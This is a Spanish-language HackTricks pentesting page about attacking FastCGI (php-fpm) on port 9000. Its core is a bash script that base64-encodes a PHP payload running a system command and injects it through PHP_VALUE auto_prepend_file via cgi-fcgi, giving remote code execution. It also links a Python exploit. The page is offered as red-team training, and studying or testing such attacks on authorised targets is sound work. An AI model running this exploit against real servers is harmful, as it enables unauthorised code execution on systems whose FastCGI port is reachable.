9000 - Pentesting FastCGI

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Si quieres aprender qué es FastCGI consulta la siguiente página:

pagedisable_functions bypass - php-fpm/FastCGI

Por defecto, FastCGI se ejecuta en el puerto 9000 y no es reconocido por nmap. Normalmente FastCGI solo escucha en localhost.

RCE

Es bastante fácil hacer que FastCGI ejecute código arbitrario:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

o también puedes usar el siguiente script de Python: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización